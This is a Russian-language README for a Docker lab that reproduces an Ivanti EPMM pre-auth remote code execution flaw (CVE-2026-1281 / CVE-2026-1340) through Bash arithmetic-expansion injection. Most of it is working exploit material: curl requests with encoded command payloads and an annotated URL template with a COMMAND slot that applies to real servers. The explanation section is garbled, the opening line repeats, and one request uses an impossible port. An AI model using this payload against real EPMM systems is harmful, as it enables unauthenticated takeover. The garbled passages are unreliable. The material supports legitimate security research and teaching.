
Простое демонстрационное приложение, показывающее, как воспроизвести уязвимость Ivanti EPMM pre-auth RCE (CVE-2026-1281 / CVE-2026-1340) в образовательных целях и для исследований в области безопасности.
Простое демонстрационное приложение, показывающее, как воспроизвести уязвимость Ivanti EPMM pre-auth RCE (CVE-2026-1281 / CVE-2026-1340) в образовательных целях и для исследований в области безопасности.
Эта уязвимость использует поведение арифметического раскрытия в Bash. Когда переменная, содержащая ссылку на другую переменную, используется в арифметическом контексте, и эта переменная содержит индекс массива с подстановкой команд, команда выполняется.
st=theValue (литеральная строка "theValue" с дополнением)h=gPath[\command`]` (команда в индексе массива)theValue на каждой итерацииgStartTime устанавливается в литеральную строку "theValue"theValue содержит command`]`gPath[\[[ ${currentTime} -gt ${gStartTime} ]]:
${gStartTime} → "theValue" (строка)theValue как ссылку на переменнуюtheValue → gPath[\command`]`# Сборка и запуск контейнера
docker-compose up --build -d
# Проверка, что всё работает
curl http://localhost:8180/health
Создайте файл для подтверждения выполнения команды:
# URL-закодированная нагрузка: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# Проверка, был ли создан файл
cat artifacts/poc
Проверка с помощью команды sleep:
# Ответ должен занять ~5 секунд
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# Запись произвольного содержимого
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMAND%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ Нагрузка: gPath[`COMMAND`]
│ │ └─ Конечная метка времени (любые 10 цифр)
│ └─ КРИТИЧНО: литерал "theValue" + 2 пробела (всего 10 символов)
└─ Индекс ключа (любое значение)
# Просмотр логов контейнера
docker-compose logs -f
# Получить shell в контейнере
docker exec -it ivanti-epmm-vuln /bin/bash
# Проверить логи ошибок nginx
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
Этот материал предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.